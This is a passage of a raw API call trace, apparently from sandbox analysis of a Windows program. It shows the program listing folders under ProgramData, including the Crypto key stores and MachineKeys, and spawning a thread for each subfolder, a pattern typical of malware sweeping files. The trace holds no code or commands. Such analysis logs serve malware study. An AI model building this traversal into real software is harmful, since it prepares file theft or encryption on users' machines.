BaseAddress=0x33e7090) returned 1 [0072.444] RtlExitUserThread (Status=0x0) Thread: id = 555 os_tid = 0x1148 [0072.446] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x347dcb0 [0072.446] wcscpy (in: _Dest=0x347dcb0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" [0072.447] wcscat (in: _Dest=0x347dcb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\" [0072.447] wcscat (in: _Dest=0x347dcb0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*" [0072.447] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ee508 [0072.447] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34340e8 [0072.447] wcscmp (_String1=".", _String2=".") returned 0 [0072.447] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.448] wcscmp (_String1="..", _String2=".") returned 1 [0072.448] wcscmp (_String1="..", _String2="..") returned 0 [0072.448] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1 [0072.448] wcscmp (_String1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", _String2=".") returned 1 [0072.448] wcscmp (_String1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", _String2="..") returned 1 [0072.448] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x33e3760 [0072.448] wcscpy (in: _Dest=0x33e3760, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" [0072.448] wcscat (in: _Dest=0x33e3760, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\" [0072.448] wcscat (in: _Dest=0x33e3760, _Source="{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0072.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e3760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d0 [0072.706] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1 [0072.706] wcscmp (_String1="{8702d817-5aad-4674-9ef3-4d3decd87120}", _String2=".") returned 1 [0072.706] wcscmp (_String1="{8702d817-5aad-4674-9ef3-4d3decd87120}", _String2="..") returned 1 [0072.706] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x3429780 [0072.706] wcscpy (in: _Dest=0x3429780, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" [0072.706] wcscat (in: _Dest=0x3429780, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\" [0072.706] wcscat (in: _Dest=0x3429780, _Source="{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" [0072.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3429780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x548 [0072.708] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0 [0072.708] FindClose (in: hFindFile=0x34340e8 | out: hFindFile=0x34340e8) returned 1 [0072.708] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ee508) returned 1 [0072.708] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dcb0) returned 1 [0072.708] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347de70) returned 1 [0072.708] RtlExitUserThread (Status=0x0) Thread: id = 556 os_tid = 0x114c [0072.448] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347dee0 [0072.449] wcscpy (in: _Dest=0x347dee0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" [0072.449] wcscat (in: _Dest=0x347dee0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\" [0072.449] wcscat (in: _Dest=0x347dee0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*" [0072.449] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ee770 [0072.449] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x33ee770 | out: lpFindFileData=0x33ee770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434128 [0072.449] wcscmp (_String1=".", _String2=".") returned 0 [0072.449] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x33ee770 | out: lpFindFileData=0x33ee770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.449] wcscmp (_String1="..", _String2=".") returned 1 [0072.449] wcscmp (_String1="..", _String2="..") returned 0 [0072.449] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x33ee770 | out: lpFindFileData=0x33ee770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="{07DEB~1")) returned 1 [0072.449] wcscmp (_String1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", _String2=".") returned 1 [0072.449] wcscmp (_String1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", _String2="..") returned 1 [0072.449] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x33e3818 [0072.450] wcscpy (in: _Dest=0x33e3818, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" [0072.450] wcscat (in: _Dest=0x33e3818, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\" [0072.450] wcscat (in: _Dest=0x33e3818, _Source="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0072.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e3818, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7cc [0072.704] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x33ee770 | out: lpFindFileData=0x33ee770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1 [0072.704] wcscmp (_String1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", _String2=".") returned 1 [0072.704] wcscmp (_String1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", _String2="..") returned 1 [0072.704] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x34296c8 [0072.704] wcscpy (in: _Dest=0x34296c8, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" [0072.704] wcscat (in: _Dest=0x34296c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\" [0072.704] wcscat (in: _Dest=0x34296c8, _Source="{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" [0072.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34296c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618 [0072.704] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x33ee770 | out: lpFindFileData=0x33ee770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0 [0072.704] FindClose (in: hFindFile=0x3434128 | out: hFindFile=0x3434128) returned 1 [0072.705] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ee770) returned 1 [0072.705] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dee0) returned 1 [0072.705] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34278f0) returned 1 [0072.705] RtlExitUserThread (Status=0x0) Thread: id = 557 os_tid = 0x1150 [0072.450] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347df50 [0072.450] wcscpy (in: _Dest=0x347df50, _Source="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi") returned="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi" [0072.450] wcscat (in: _Dest=0x347df50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi\\") returned="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi\\" [0072.450] wcscat (in: _Dest=0x347df50, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi\\*") returned="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi\\*" [0072.450] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ee9d8 [0072.450] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi\\*", lpFindFileData=0x33ee9d8 | out: lpFindFileData=0x33ee9d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434368 [0072.451] wcscmp (_String1=".", _String2=".") returned 0 [0072.451] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33ee9d8 | out: lpFindFileData=0x33ee9d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.455] wcscmp (_String1="..", _String2=".") returned 1 [0072.455] wcscmp (_String1="..", _String2="..") returned 0 [0072.455] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33ee9d8 | out: lpFindFileData=0x33ee9d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0072.455] FindClose (in: hFindFile=0x3434368 | out: hFindFile=0x3434368) returned 1 [0072.455] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ee9d8) returned 1 [0072.455] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347df50) returned 1 [0072.455] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426f98) returned 1 [0072.455] RtlExitUserThread (Status=0x0) Thread: id = 558 os_tid = 0x1154 [0072.457] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x347fbe0 [0072.457] wcscpy (in: _Dest=0x347fbe0, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS" [0072.458] wcscat (in: _Dest=0x347fbe0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\" [0072.458] wcscat (in: _Dest=0x347fbe0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*" [0072.458] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ee9d8 [0072.458] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x33ee9d8 | out: lpFindFileData=0x33ee9d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434368 [0072.458] wcscmp (_String1=".", _String2=".") returned 0 [0072.458] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33ee9d8 | out: lpFindFileData=0x33ee9d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.458] wcscmp (_String1="..", _String2=".") returned 1 [0072.458] wcscmp (_String1="..", _String2="..") returned 0 [0072.458] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33ee9d8 | out: lpFindFileData=0x33ee9d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0072.458] wcscmp (_String1="MachineKeys", _String2=".") returned 1 [0072.458] wcscmp (_String1="MachineKeys", _String2="..") returned 1 [0072.458] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347df50 [0072.458] wcscpy (in: _Dest=0x347df50, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS" [0072.458] wcscat (in: _Dest=0x347df50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\" [0072.458] wcscat (in: _Dest=0x347df50, _Source="MachineKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys" [0072.701] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347df50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c4 [0072.702] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33ee9d8 | out: lpFindFileData=0x33ee9d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0 [0072.702] FindClose (in: hFindFile=0x3434368 | out: hFindFile=0x3434368) returned 1 [0072.702] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ee9d8) returned 1 [0072.702] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fbe0) returned 1 [0072.702] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431678) returned 1 [0072.702] RtlExitUserThread (Status=0x0) Thread: id = 559 os_tid = 0x1158 [0072.459] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0072.459] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys" [0072.459] wcscat (in: _Dest=0x347fc40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\" [0072.459] wcscat (in: _Dest=0x347fc40, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*" [0072.459] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33eec40 [0072.459] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x33eec40 | out: lpFindFileData=0x33eec40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34343a8 [0072.460] wcscmp (_String1=".", _String2=".") returned 0 [0072.460] FindNextFileW (in: hFindFile=0x34343a8, lpFindFileData=0x33eec40 | out: lpFindFileData=0x33eec40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.460] wcscmp (_String1="..", _String2=".") returned 1 [0072.460] wcscmp (_String1="..", _String2="..") returned 0 [0072.460] FindNextFileW (in: hFindFile=0x34343a8, lpFindFileData=0x33eec40 | out: lpFindFileData=0x33eec40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0072.461] FindClose (in: hFindFile=0x34343a8 | out: hFindFile=0x34343a8) returned 1 [0072.461] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eec40) returned 1 [0072.461] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0072.461] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fe80) returned 1 [0072.461] RtlExitUserThread (Status=0x0) Thread: id = 560 os_tid = 0x115c [0072.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3426f30 [0072.462] wcscpy (in: _Dest=0x3426f30, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP" [0072.462] wcscat (in: _Dest=0x3426f30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\" [0072.462] wcscat (in: _Dest=0x3426f30, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\*" [0072.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33eec40 [0072.463] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\*", lpFindFileData=0x33eec40 | out: lpFindFileData=0x33eec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34343a8 [0072.464] wcscmp (_String1=".", _String2=".") returned 0 [0072.464] FindNextFileW (in: hFindFile=0x34343a8, lpFindFileData=0x33eec40 | out: 